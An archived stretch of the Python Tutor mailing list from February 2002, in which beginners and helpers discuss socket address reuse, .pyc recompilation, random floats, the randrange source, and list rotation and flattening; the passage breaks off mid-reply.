> This didn't work for me at all. (I can't find the forward slash on
> this machine so if the newline character comes out funny just substitute. In Korea they put their monetary symbol where we put
> the slash key).

Then you might want to do an old trick.

eoln = chr(10)  # a newline character

f.writelines(map(lambda s, e=eoln: s+e, ["Scooby", "Dooby", "Doo"]))

You might also want to get an editor that will remap keys for you, so
that when you type the monetary symbol, it prints a backslash.

  -Arcege

P.S. For your information:
"/" - forward slash or "slash"
"\" - backward slash or "backslash"



From csmith@blakeschool.org  Tue Feb 12 23:24:33 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Tue, 12 Feb 2002 17:24:33 -0600
Subject: [Tutor] why the recompile?
Message-ID: <fc.004c4b6b008cfac6004c4b6b008cfac6.8cfb53@blakeschool.org>

Hello,

I am trying to get an installation distributed on a set of iBooks for a
course.  I ran compileall on my own installation, copied that to the
master server disk and from there it gets copied onto the individual
iBooks.  The hope was to avoid having to recompile every time a new
session is started.  (Even though the recompile is done, the installation
is restored to the original set during shutdown of the computer.)

Here's the problem:  when the IDE starts up it recompiles a bunch of
files.  For example, codeop.py (created July 18,2001 and modified Aug
19,2001) is recompiled even though the existing codeop.pyc in that
directory has the creation and modification dates of Feb 7, 2002.  There
are 68 files in all that are recompiled, located in lib; mac/Lib;
Mac/Tools/IDE; and mac/lib/carbon.

Why is this recompiling and what can I do to avoid this?  The .pyc's date
is more recent than the .py's.  I confirmed this with the stat() function
as well and can see that the time of modification matches that which I see
on the file in the Finder.  The IDE itself (if it matters) was created at
6:43 pm on 2/7 and the codeop.py file at 11:32 am)

/c



From dyoo@hkn.eecs.berkeley.edu  Wed Feb 13 00:25:40 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Tue, 12 Feb 2002 16:25:40 -0800 (PST)
Subject: [Tutor] Catching different exceptions  [Exceptions]
In-Reply-To: <Pine.LNX.4.21.0202121055370.4360-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0202121615070.5007-100000@hkn.eecs.berkeley.edu>

On Tue, 12 Feb 2002, Danny Yoo wrote:

> Not that this isn't bad --- it's just that we often want to be able to
  ^^^^^^^^^^^^^^^^^^^^^^^
> look at the errors in more detail.


Gaaah!  Holy moley, that was bad phrasing!  I meant to say:

    "Not that this is bad..."

I think that having catchall exception handling is ok, as long as we
somehow send the user a good error message that can help us debug
things.  That is, as long as we have something like:

###
try: ...
except Exception, e:
    print "Something is wrong: take a look: %s" % e
###

is much better than:

###
try: ...
except Exception, e: pass
###

because the second doesn't even clue us into potential problems.



We had a discussion on catchall exceptions a few weeks ago, and I had
initially said that doing a catchall was evidence of lazy programming.  
Alan Gauld explained that using such a catchall can be a good thing, and
gave good reasons for using it.  After thinking about it for a while, I'm
leaning toward Alan's reasoning.



From wesc@deirdre.org  Wed Feb 13 06:17:21 2002
From: wesc@deirdre.org (Wesley Chun)
Date: Tue, 12 Feb 2002 22:17:21 -0800 (PST)
Subject: [Tutor] ANN: SV-SF Bay Area Python users group (BayPIGgies) mtg 2/13 7:30pm
Message-ID: <Pine.LNX.4.31.0202122214530.29997-100000@emperor.deirdre.org>

hi folks,

a friendly reminder for those in the Silicon Valley or SF Bay Area
that our monthly Python users group meeting meets on the 2nd wednesday
of every month, and that means tonite!!  more info in the listing below.
hope to see some of you tonite!

-wesley


Date: February 13, 2002
Time: 7:30pm - 9pm
Location: Stanford University
Agenda: Python 10 Conference Summary
Speaker: Todd Valentic, SRI International

Many of us were not be able to make it to the Python10 Conference (Feb
4-7 2002). Todd, who presented a paper at the conference, will give us
the lowdown on what happened.

More information including directions at http://deirdre.org/baypiggies

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

"Core Python Programming", Prentice Hall PTR, =A9 2001
    http://starship.python.net/crew/wesc/cpp/

    wesley.j.chun :: wesc@deirdre.org
    cyberweb.consulting : henderson, nv : cyberweb@rocketmail.com
    http://www.roadkill.com/~wesc/cyberweb/



From schoeller@zkm.de  Wed Feb 13 15:11:36 2002
From: schoeller@zkm.de (=?ISO-8859-1?Q?Andreas_Sch=F6ller?=)
Date: Wed, 13 Feb 2002 16:11:36 +0100
Subject: [Tutor] SocketObject.close() question
Message-ID: <F8F79542-2093-11D6-975F-0003937266F6@zkm.de>

Hello tutors,

i=B4m using the xmlrpclib library 0.9. and the xmlrpcsvr.py script wich=20=

creates a SocketServer at a specified port. The socket-object has a=20
close()-method which works as expected - after calling the method the=20
socket gets closed and further connections are refused. But when i try=20=

to restart the xmlrpc-Server on the same port i get the message =20
socket.error: (48, 'Address already in use'). After 1-2 minutes it=B4s=20=

possible to reuse the server on that port again ? Is this behavior=20
considered normal or am I wrong in closing the socket by using=20
socket.close() ?
I=B4m on a Mac OsX 10.1.2 - is this a system library dependent behaviour =
?

thanks for your support,, andreas



From kjphotog@juno.com  Wed Feb 13 17:36:38 2002
From: kjphotog@juno.com (kjphotog@juno.com)
Date: Wed, 13 Feb 2002 09:36:38 -0800
Subject: [Tutor] Re:  New Python book, Vol 1 #1422
Message-ID: <20020213.093643.-187805.13.kjphotog@juno.com>

This message is in MIME format.  Since your mail reader does not understand
this format, some or all of this message may not be legible.

----__JNP_000_1928.79a6.3ad3
Content-Type: text/plain; charset=us-ascii  
Content-Transfer-Encoding: 7bit

Re: New Python book (by Kirby Urner) 

I just got the new Python How To Program book by Deitel (Prentice-Hall).
As a newbie I found myself gleaning info from 3-4 Python books, but this
book seems to have everything under one cover. 

The books starts off from ground zero -which is great for me- and the
info is easy to read & understand.In addition, the coding is in color and
easy on the eyes & very legible. (Some Python books the coding is written
in a little bitty font that is difficult to read). 

Keith
----__JNP_000_1928.79a6.3ad3
Content-Type: text/html; charset=us-ascii  
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR></HEAD>
<BODY bottomMargin=3D0 leftMargin=3D3 rightMargin=3D3 topMargin=3D0>
<DIV></DIV>
<DIV>Re: New Python book (by Kirby Urner) </DIV>
<DIV>&nbsp;</DIV>
<DIV>I just got the new Python How To Program book by Deitel (Prentice-Hall=
). As=20
a newbie I found myself gleaning info from 3-4 Python books, but this&nbsp;=
book=20
seems to have everything under one cover. </DIV>
<DIV>&nbsp;</DIV>
<DIV>The books starts off from ground zero -which is great for me- and&nbsp=
;the=20
info is easy to read &amp; understand.In addition, the coding&nbsp;is in =
color=20
and easy on the eyes &amp; very legible. (Some&nbsp;Python books the <FONT=
=20
size=3D2>coding is </FONT><FONT size=3D1>written in a little bitty font =
that is=20
difficult to read</FONT>). </DIV>
<DIV>&nbsp;</DIV>
<DIV>Keith</DIV>
<DIV></DIV></BODY></HTML>

----__JNP_000_1928.79a6.3ad3--

________________________________________________________________
GET INTERNET ACCESS FROM JUNO!
Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/web/.


From lumbricus@gmx.net  Wed Feb 13 14:53:28 2002
From: lumbricus@gmx.net (=?ISO-8859-1?Q?J=F6rg_W=F6lke?=)
Date: Wed, 13 Feb 2002 15:53:28 +0100 (MET)
Subject: [Tutor] New Python book
References: <4.2.0.58.20020212113053.00c9d120@pop3.norton.antivirus>
Message-ID: <14021.1013612008@www51.gmx.net>

> 
> Greetings all:

dito
 
> 'Python: How to Program' (2002, Prentice-Hall)

[ snip ]
 
> Kirby
> 
> PS:  I was a reviewer, doing testing and providing
> feedback on some of the chapters (one of many, see

<AOL>
me too
</AOL>
but they misspelled my name :-/

> pg. LV).  Just got my copy from the publisher
> yesterday.  Dunno the sale price -- it's a 1300 page
> monster (plus CD) so probably in the $45-$60 range,
> judging from similar books.  Wait, I should just
> check Amazon...  yikes, $74.  Well, like I say, it's
> a mighty thick tome.

ACK

"http://www.prenhall.com/deitel"

Greetings J"o!

-- 
Excellent Security until you type 'override' -
"Welcome to the NSA! Who's Life would you like to mess with today?"
(http://ars.userfriendly.org/cartoons/?id=20010113)

-- 
GMX - Die Kommunikationsplattform im Internet.
http://www.gmx.net



From kp87@lycos.com  Wed Feb 13 15:52:26 2002
From: kp87@lycos.com (kevin parks)
Date: Thu, 14 Feb 2002 00:52:26 +0900
Subject: [Tutor] random floats in a range greater than 0.0-1.0
Message-ID: <CKFMFMBPJMAEBBAA@mailcity.com>

Thanks to all on this list for addressing my queries. I am learning quite a lot these days. I am really giving the interperter a workout during this holiday break (though slowed a bit by a late winter cold today).

I see in the random module that you can get random integers with randrange and you can get 0-1.0 floats, but how does one get floats in a range (of say 0-100, 50-128, or whatever...), do you just use the regular random (0-1) floats and scale the output? Or is it better to look for a way in Numpy?

sorry if this is not so clear... running for a kleenex....

-kevin
seoul, korea





Go Get It!
Send FREE Valentine eCards with Lycos Greetings
http://greetings.lycos.com


From lumbricus@gmx.net  Wed Feb 13 16:52:02 2002
From: lumbricus@gmx.net (=?ISO-8859-1?Q?J=F6rg_W=F6lke?=)
Date: Wed, 13 Feb 2002 17:52:02 +0100 (MET)
Subject: [Tutor] SocketObject.close() question
References: <F8F79542-2093-11D6-975F-0003937266F6@zkm.de>
Message-ID: <21746.1013619122@www7.gmx.net>

> Hello tutors,
> 
> to restart the xmlrpc-Server on the same port i get the message  
> socket.error: (48, 'Address already in use'). After 1-2 minutes it´s 
> 
> possible to reuse the server on that port again ? Is this behavior 
> considered normal 

yes.

> or am I wrong in closing the socket by using 
> socket.close() ?
> I´m on a Mac OsX 10.1.2 - is this a system library dependent behaviour 
> ?

man setsockopts 
/SO_REUSEADDR

IIRC

> thanks for your support,, andreas
> 

HTH,HAND
and Greetings J"o!

-- 
$ make LOVE
Make: Don't know how to make LOVE.  Stop.
$

-- 
GMX - Die Kommunikationsplattform im Internet.
http://www.gmx.net



From fgerbig@usd253.org  Wed Feb 13 18:44:34 2002
From: fgerbig@usd253.org (Fred Gerbig)
Date: Wed, 13 Feb 2002 12:44:34 -0600
Subject: [Tutor] Simple address book program in python
Message-ID: <00fe01c1b4be$7cacf460$f40fa8c0@usd253.org>

Hello all,

This is my first message. I am just starting out with python, I have done
some VB and C in the past. When I started playing with BASIC years ago I
wrote a little address book program to learn how to program. I would like to
do the same type of thing in Python.

Just something simple that would prompt the user for the different fields..
first name, last name, address etc, then store the info in a text file. Then
have some sort of search that would prompt the user for the last name for
example and then go out search the text file, find the record and display it
(using a simple sequential file).

I am sure someone has to have done something similar in the past. If I can
get a look at some code that does something like I want to do it will be a
big step ahead in the learning process.

Thanks!!
---
Fred Gerbig

Here is my first project that I have done in Python:
---------------------------------------------------
#A program to simplify a fraction and convert it to decimal and a percent

num = input("Enter the numerator: ")
den = input("Enter the denominator: ")
test = 0 #A simple test condition to break out of the loop.

if num > den: #Check to see if an improper fraction was entered.
    whole = num/den #Do the math
    rem = num%den

    if rem != 0: #If there is no remainder goto else.
        for i in range(1000,0,-1):
            if num%i == 0 and den%i == 0 and test != 1: #Find the Greatest
Common Factor.
                a = rem/i
                b = den/i
                test = 1 #Break out of the loop.
                print "You entered an improper fraction, simplified it is:
%d %d/%d" % (whole,a,b)
                c = float(a)/float(b)
                print "The fraction you entered converted to decimal is:
%.4f." % (whole+c)
                print "The fraction you entered converted to percent is:
%d%%." % ((whole+c)*100),

    else: #Go here if the improper fraction simplifies to a whole number.
        print "You entered a improper fraction, simplified it is: %d" %
(whole)

else: #If a proper fraction is entered start here.
    for i in range(1000,0,-1):
        if num%i == 0 and den%i ==0 and test != 1:
            a = num/i
            b = den/i
            test = 1
            print "The fraction you entered is %d/%d in lowest terms." %
(a,b)
            c = float(a)/float(b)
            print "The fraction you entered converted to decimal is %.4f." %
(c)
            print "The fraction you entered converted to percent is: %d%%."
% (c*100),





From arcege@speakeasy.net  Wed Feb 13 19:16:03 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Wed, 13 Feb 2002 14:16:03 -0500
Subject: [Tutor] SocketObject.close() question
In-Reply-To: <F8F79542-2093-11D6-975F-0003937266F6@zkm.de>; from schoeller@zkm.de on Wed, Feb 13, 2002 at 04:11:36PM +0100
References: <F8F79542-2093-11D6-975F-0003937266F6@zkm.de>
Message-ID: <20020213141603.C910@speakeasy.net>

On Wed, Feb 13, 2002 at 04:11:36PM +0100, Andreas Sch=F6ller wrote:
> Hello tutors,
>=20
> i=B4m using the xmlrpclib library 0.9. and the xmlrpcsvr.py script wich=
=20
> creates a SocketServer at a specified port. The socket-object has a=20
> close()-method which works as expected - after calling the method the=20
> socket gets closed and further connections are refused. But when i try=20
> to restart the xmlrpc-Server on the same port i get the message =20
> socket.error: (48, 'Address already in use'). After 1-2 minutes it=B4s=20
> possible to reuse the server on that port again ? Is this behavior=20
> considered normal or am I wrong in closing the socket by using=20
> socket.close() ?
> I=B4m on a Mac OsX 10.1.2 - is this a system library dependent behaviou=
r ?
>=20
> thanks for your support,, andreas

Specifically, that's a socket-dependant, system-independant behavior;
and yes, it is normal.

You can change a socket to reuse the same address, since the socketserver
class is being used, you can maybe get the xlmrpcsvr to take a subclass
of that.

class ReuseSocketServer(SocketServer):
  def server_bind(self):
    import socket
    self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    SocketServer.server_bind(self)

Also, you might want to think about using the shutdown() method instead
of just close().  This will allow the network protocols to come down
gracefully, and will reduce the number of "already in use" errors (not
not all of them).  There is nothing strictly wrong with using close, but
you will want to make sure that the socket isn't connected by some means.

Think about a telephone: it is possible, though unprobable, that someone
could call at the same time you pick up the handset to make a call.
This causes the phone to not ring, and the connection to go through;
you start dialing the number and the other end is going "hello".
This happens in real, but it's rare.  Now think about if it was at the
other end of the call - someone was calling when you were hanging up,
the connection might be established, your phone would think the call was
done, but possibly the hardware in between left the connection open.

The phone systems do not allow this "feature", but the TCP networks do.
It's better to just use "shutdown" to let the whole system know you are
shutting down.

  -Arcege



From arcege@speakeasy.net  Wed Feb 13 19:18:14 2002
From: arcege@speakeasy.net (Michael P. Reilly)
Date: Wed, 13 Feb 2002 14:18:14 -0500
Subject: [Tutor] why the recompile?
In-Reply-To: <fc.004c4b6b008cfac6004c4b6b008cfac6.8cfb53@blakeschool.org>; from csmith@blakeschool.org on Tue, Feb 12, 2002 at 05:24:33PM -0600
References: <fc.004c4b6b008cfac6004c4b6b008cfac6.8cfb53@blakeschool.org>
Message-ID: <20020213141814.D910@speakeasy.net>

On Tue, Feb 12, 2002 at 05:24:33PM -0600, Christopher Smith wrote:
> I am trying to get an installation distributed on a set of iBooks for a
> course.  I ran compileall on my own installation, copied that to the
> master server disk and from there it gets copied onto the individual
> iBooks.  The hope was to avoid having to recompile every time a new
> session is started.  (Even though the recompile is done, the installation
> is restored to the original set during shutdown of the computer.)
> 
> Here's the problem:  when the IDE starts up it recompiles a bunch of
> files.  For example, codeop.py (created July 18,2001 and modified Aug
> 19,2001) is recompiled even though the existing codeop.pyc in that
> directory has the creation and modification dates of Feb 7, 2002.  There
> are 68 files in all that are recompiled, located in lib; mac/Lib;
> Mac/Tools/IDE; and mac/lib/carbon.
> 
> Why is this recompiling and what can I do to avoid this?  The .pyc's date
> is more recent than the .py's.  I confirmed this with the stat() function
> as well and can see that the time of modification matches that which I see
> on the file in the Finder.  The IDE itself (if it matters) was created at
> 6:43 pm on 2/7 and the codeop.py file at 11:32 am)

I don't really have an answer to offer.  But possibly a work around.

Unless you are trying to get the students to see the Python code,
you could remove all the .py files (except the calling program file)
and just keep the .pyc files.  The python interpreter would not care
if it was using pre-compiled or raw source, but it would prevent it
from always trying to recompile the .pyc files.

  -Arcege



From dyoo@hkn.eecs.berkeley.edu  Wed Feb 13 22:06:11 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed, 13 Feb 2002 14:06:11 -0800 (PST)
Subject: [Tutor] random floats in a range greater than 0.0-1.0
In-Reply-To: <CKFMFMBPJMAEBBAA@mailcity.com>
Message-ID: <Pine.LNX.4.21.0202131110170.24050-100000@hkn.eecs.berkeley.edu>

On Thu, 14 Feb 2002, kevin parks wrote:

> I see in the random module that you can get random integers with
> randrange and you can get 0-1.0 floats, but how does one get floats in
> a range (of say 0-100, 50-128, or whatever...), do you just use the
> regular random (0-1) floats and scale the output?

I think scaling would be the way to go on this one.  I can't think offhand
of a function in the random module that will do this, but cooking up such
a function should be too bad.

This sounded like a fun problem, so I've cooked up such a function.

*** Spoiler space ahead ***



















*** Spoiler space engaged ***

Here's a function called randfrange() that returns a random floating-point
number:

###
>>> import random
>>> def randfrange(a, b=None):
...     """Returns a random float in the range [a, b)."""    
...     if b == None:
...         a, b = 0, a
...     return random.random() * (b-a) + a
... 
>>> randfrange(50, 128)
97.318483168501587
>>> randfrange(50, 128)
81.658069841691457
>>> randfrange(2, 2)
2.0
>>> randfrange(2, 3)
2.1495229573274912
>>> randfrange(42, 43)
42.372700368345136
>>> randfrange(50)
2.7482513388830343
>>> randfrange(100)
24.518574974538375
###


Hope this helps!



From jimmy_130@lycos.com  Wed Feb 13 22:05:42 2002
From: jimmy_130@lycos.com (James M Lang)
Date: Wed, 13 Feb 2002 17:05:42 -0500
Subject: [Tutor] QUestion about Pygame
Message-ID: <KECPKLMIBGLFBBAA@mailcity.com>

I went to the pygame website and went to the projects page. I got the pyrunner game and downloaded the source. So why doesn't it end in .py? And how do I use it?


Go Get It!
Send FREE Valentine eCards with Lycos Greetings
http://greetings.lycos.com


From dyoo@hkn.eecs.berkeley.edu  Wed Feb 13 22:53:33 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Wed, 13 Feb 2002 14:53:33 -0800 (PST)
Subject: [Tutor] Random revisions
In-Reply-To: <Pine.LNX.4.21.0202131110170.24050-100000@hkn.eecs.berkeley.edu>
Message-ID: <Pine.LNX.4.21.0202131416401.27143-100000@hkn.eecs.berkeley.edu>

On Wed, 13 Feb 2002, Danny Yoo wrote:

> On Thu, 14 Feb 2002, kevin parks wrote:
> 
> > I see in the random module that you can get random integers with
> > randrange and you can get 0-1.0 floats, but how does one get floats in
> > a range (of say 0-100, 50-128, or whatever...), do you just use the
> > regular random (0-1) floats and scale the output?
> 
> I think scaling would be the way to go on this one.  I can't think offhand
> of a function in the random module that will do this, but cooking up such
> a function should be too bad.
> 
> This sounded like a fun problem, so I've cooked up such a function.



By the way, I started playing around with randrange(), and found something
really wacky.  Take a look:


###
>>> random.randrange(0, 10, 2)
2
>>> random.randrange(0, 10, 2)
8
>>> random.randrange(0, 10, 2, 42)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "/opt/Python-2.1.1/lib/python2.1/random.py", line 288, in randrange
    istart = int(start)
TypeError: object of type 'int' is not callable
###


What in the world?!  If you're confused, you're not alone.  According to
the documentation, randrange() is defined to only take, at most, three
parameters.  But it appears that it can accept four... but then it barfs.  
Huh?


There's something weird about the definition of randrange() in the random
module.  Take a look:

###
    def randrange(self, start, stop=None, step=1, int=int, default=None):
        """Choose a random item from range(start, stop[, step]).

        This fixes the problem with randint() which includes the
        endpoint; in Python this is usually not what you want.
        Do not supply the 'int' and 'default' arguments.
        """

        # This code is a bit messy to make it fast for the
        # common case while still doing adequate error checking
        istart = int(start)
        if istart != start:
            raise ValueError, "non-integer arg 1 for randrange()"
        if stop is default:
            if istart > 0:
                return int(self.random() * istart)
            raise ValueError, "empty range for randrange()"
        istop = int(stop)
        if istop != stop:
            raise ValueError, "non-integer stop for randrange()"
        if step == 1:
            if istart < istop:
                return istart + int(self.random() *
                                   (istop - istart))
            raise ValueError, "empty range for randrange()"
        istep = int(step)
        if istep != step:
            raise ValueError, "non-integer step for randrange()"
        if istep > 0:
            n = (istop - istart + istep - 1) / istep
        elif istep < 0:
            n = (istop - istart + istep + 1) / istep
        else:
            raise ValueError, "zero step for randrange()"

        if n <= 0:
            raise ValueError, "empty range for randrange()"
        return istart + istep*int(self.random() * n)
###


I've been staring at this, looking at the comments, and looking at those
two parameters 'int' and 'default', and I still can't figure out why those
two parameters are in there... hmmm...

Ah, it is probably an optimization.  What the author might have intended
is to optimize the time it takes to grab at the int() function.  Local
variables are faster to look up than globals, and since randrange() is
often used in loops, this may be intended to squeeze out some more
performance.

random.shuffle() also appears to use this kind of optimization.  Someone
must have done some time profiling and found this optimization significant
enough to do something tricky like this.  But this feels very ugly to
me... Is it really necessary to do something like this?



Just as we revise essays and letters, I think that it's good to see how
one might revise functions.  (I'd better warn that "revision" doesn't
necessarily mean "improvement".  *grin*)

Here's an attempt to revise randrange() and remove this trickyness:

###
    def randrange(self, start, stop=None, step=1):
        """Choose a random item from range(start, stop[, step]).

        This fixes the problem with randint() which includes the
        endpoint; in Python this is usually not what you want.
        """

        # This code is a bit messy to make it fast for the
        # common case while still doing adequate error checking
        if start != int(start):
            raise ValueError, "non-integer arg 1 for randrange()"
        if stop is None:
            if start > 0:
                return int(self.random() * start)
            raise ValueError, "empty range for randrange()"
        if stop != int(stop):
            raise ValueError, "non-integer stop for randrange()"
        if step == 1:
            if start < stop:
                return start + int(self.random() *
                                   (stop - start))
            raise ValueError, "empty range for randrange()"
        if step != int(step):
            raise ValueError, "non-integer step for randrange()"
        if step > 0:
            n = (stop - start + step - 1) / step
        elif step < 0:
            n = (stop - start + step + 1) / step
        else:
            raise ValueError, "zero step for randrange()"

        if n <= 0:
            raise ValueError, "empty range for randrange()"
        return start + step*int(self.random() * n)
###


Does anyone have time to profile this and see how it compares to
random.randrange()?  It's been like this ever since version 1.16 of
randrange.py:

http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/random.py



From wilson@isis.visi.com  Wed Feb 13 23:59:50 2002
From: wilson@isis.visi.com (Tim Wilson)
Date: Wed, 13 Feb 2002 17:59:50 -0600 (CST)
Subject: [Tutor] Sample docstrings
Message-ID: <Pine.GSO.4.10.10202131758010.20641-100000@isis.visi.com>

Hey everyone,

Can anyone nominate some source code that I can review that does an
exemplory job of using docstrings? I'm interesting is seeing examples of
all the the different types mentioned in PEP 257
(http://python.sourceforge.net/peps/pep-0257.html).

-Tim

--
Tim Wilson      |   Visit Sibley online:   | Check out:
Henry Sibley HS |  http://www.isd197.org   | http://www.zope.com
W. St. Paul, MN |                          | http://slashdot.org
wilson@visi.com |  <dtml-var pithy_quote>  | http://linux.com



From paulsid@shaw.ca  Thu Feb 14 00:05:27 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Wed, 13 Feb 2002 17:05:27 -0700
Subject: [Tutor] random floats in a range greater than 0.0-1.0
References: <Pine.LNX.4.21.0202131110170.24050-100000@hkn.eecs.berkeley.edu>
Message-ID: <3C6AFF47.CCB23616@shaw.ca>

Danny Yoo wrote:

> I think scaling would be the way to go on this one.  I can't think offhand
> of a function in the random module that will do this, but cooking up such
> a function should be too bad.
> 
> This sounded like a fun problem, so I've cooked up such a function.

random.uniform(50.0, 128.0) also works, but of course it's not nearly as
much fun.  :-)

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From paulsid@shaw.ca  Thu Feb 14 00:29:14 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Wed, 13 Feb 2002 17:29:14 -0700
Subject: [Tutor] QUestion about Pygame
References: <KECPKLMIBGLFBBAA@mailcity.com>
Message-ID: <3C6B04DA.E0BE0D60@shaw.ca>

James M Lang wrote:

> I went to the pygame website and went to the projects page. I got 
> the pyrunner game and downloaded the source. So why doesn't it end 
> in .py? And how do I use it?

As it happens, I'm the author of PyRunner.  PyRunner is distributed as a
compressed file (either in zip or tar.gz format).  You need to unpack
the file you downloaded.  Assuming you're using Windows, WinZip is
usually the program of choice for this.  Get it here:

http://www.winzip.com/

Regrettably, there is no self-extracting executable installer for
PyRunner at this time.

I hope this is what you meant, as I can't think of anything else.  If
not please elaborate on the problem and I'll try to help.

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From erikprice@mac.com  Thu Feb 14 04:40:14 2002
From: erikprice@mac.com (Erik Price)
Date: Wed, 13 Feb 2002 23:40:14 -0500
Subject: [Tutor] Simple address book program in python
In-Reply-To: <00fe01c1b4be$7cacf460$f40fa8c0@usd253.org>
Message-ID: <F04596F7-2104-11D6-BDFF-00039351FE6A@mac.com>

On Wednesday, February 13, 2002, at 01:44  PM, Fred Gerbig wrote:

> Just something simple that would prompt the user for the different 
> fields..
> first name, last name, address etc, then store the info in a text file. 
> Then
> have some sort of search that would prompt the user for the last name 
> for
> example and then go out search the text file, find the record and 
> display it
> (using a simple sequential file).
>
> I am sure someone has to have done something similar in the past. If I 
> can
> get a look at some code that does something like I want to do it will 
> be a
> big step ahead in the learning process.

I haven't had time lately to check this site out thoroughly, but take a 
look at http://www.lowerstandard.com/python/

Some great inspiration there.  Maybe you can find something related to 
the text file manip you're trying to do.


Erik



From kp87@lycos.com  Thu Feb 14 07:21:05 2002
From: kp87@lycos.com (kevin parks)
Date: Thu, 14 Feb 2002 16:21:05 +0900
Subject: [Tutor] Re: random floats in a range greater than 0.0-1.0
Message-ID: <HCCGIIBFPKJHBBAA@mailcity.com>

>>> random.uniform(x, y) 

Works great as doesn Danny's scaling mechanism. Scaling was how i did it in 'that other programming language' so i was really shocked to see that the random module has so much in it. Python really does come with the batteries included.

thanks

-kevin




Love is in the Air!

Check out Cupid School where you will learn from Matchmaker's
best and brightest.

At Cupid School you'll learn how to pair up hopeful romantics
with one another, based on their personal preferences.
If you do well- you'll be rewarded with your own
set of love bow and arrows!

Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From kp87@lycos.com  Thu Feb 14 07:30:39 2002
From: kp87@lycos.com (kevin parks)
Date: Thu, 14 Feb 2002 16:30:39 +0900
Subject: [Tutor] cyclically rotate a list.
Message-ID: <EAAAMGIAFDKHBBAA@mailcity.com>

How does one cyclically rotate a list (of arbitary size)
so that given a list x= [0, 1, 2, 3, 4, 5, 6] one could say:
rotate(x, y=0) -->[0, 1, 2, 3, 4, 5, 6]
rotate(x, y=1) -->[1, 2, 3, 4, 5, 6, 0]

yeilding list like so (with y going modulo the list size 
i suppose):

[0, 1, 2, 3, 4, 5, 6]
[1, 2, 3, 4, 5, 6, 0]
[2, 3, 4, 5, 6, 0, 1]
[3, 4, 5, 6, 0, 1, 2]
.
.
.
[6, 0, 1, 2, 3, 4, 5]
[0, 1, 2, 3, 4, 5, 6]


I am hurting my brain on this one.


Love is in the Air!

Check out Cupid School where you will learn from Matchmaker's
best and brightest.

At Cupid School you'll learn how to pair up hopeful romantics
with one another, based on their personal preferences.
If you do well- you'll be rewarded with your own
set of love bow and arrows!

Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From kp87@lycos.com  Thu Feb 14 07:37:44 2002
From: kp87@lycos.com (kevin parks)
Date: Thu, 14 Feb 2002 16:37:44 +0900
Subject: [Tutor] check for nested sequences & flatten
Message-ID: <ALHPCIKOHJKHBBAA@mailcity.com>

I am trying to test for nested lists and then flatten them if need be. flatten(seq) works fine (though I wonder if this is the most efficient way to go about it --I always wondered why flatten wasn't a sequence built-in method). But here my isNested func seems broken. 

>>> isNested([1, [2], [3, [4]]])
0

# 0 is clearly wrong.

# kosher

def flatten(seq):
	"""flatten: completely eliminate nesting of any sequence type"""
	res = []
	for item in seq:
		if type(item) in (TupleType, ListType):
			res.extend(flatten(item))
		else:
			res.append(item)
	return res

# what's up with this ?
#
def isNested(seq):
	"""isNested: checks a list for nesting and if nested, exactly how deeply

	>>> isNested([1,2,3])	         yeilds: 1
	>>> isNested([1, [2], [3, [4]]])  yeilds: 3"""
	
	seq[:]
	depths = [0]
	for obj in seq:
		try:
			depths.append(isNested(obj))
		except:
			pass
	return max(tuple(depths))


# as i sure to be over my quota of questions for the day, i'll go away now.




Love is in the Air!

Check out Cupid School where you will learn from Matchmaker's
best and brightest.

At Cupid School you'll learn how to pair up hopeful romantics
with one another, based on their personal preferences.
If you do well- you'll be rewarded with your own
set of love bow and arrows!

Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From paulsid@shaw.ca  Thu Feb 14 07:37:46 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Thu, 14 Feb 2002 00:37:46 -0700
Subject: [Tutor] cyclically rotate a list.
References: <EAAAMGIAFDKHBBAA@mailcity.com>
Message-ID: <3C6B694A.26679C3A@shaw.ca>

kevin parks wrote:

> How does one cyclically rotate a list (of arbitary size)
> so that given a list x= [0, 1, 2, 3, 4, 5, 6] one could say:
> rotate(x, y=0) -->[0, 1, 2, 3, 4, 5, 6]
> rotate(x, y=1) -->[1, 2, 3, 4, 5, 6, 0]

This came up on the big group not too long ago.  Check the thread
below.  (Hope the URL doesn't get split - it should be all together on
one line.)

http://groups.google.ca/groups?hl=en&frame=right&th=984bc5ace40c2f12&seekm=a2mf02%2486k%241%40serv1.iunet.it#link1

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From scarblac@pino.selwerd.nl  Thu Feb 14 07:46:18 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Thu, 14 Feb 2002 08:46:18 +0100
Subject: [Tutor] cyclically rotate a list.
In-Reply-To: <EAAAMGIAFDKHBBAA@mailcity.com>; from kp87@lycos.com on Thu, Feb 14, 2002 at 04:30:39PM +0900
References: <EAAAMGIAFDKHBBAA@mailcity.com>
Message-ID: <20020214084617.A9045@pino.selwerd.nl>

On  0, kevin parks <kp87@lycos.com> wrote:
> How does one cyclically rotate a list (of arbitary size)
> so that given a list x= [0, 1, 2, 3, 4, 5, 6] one could say:
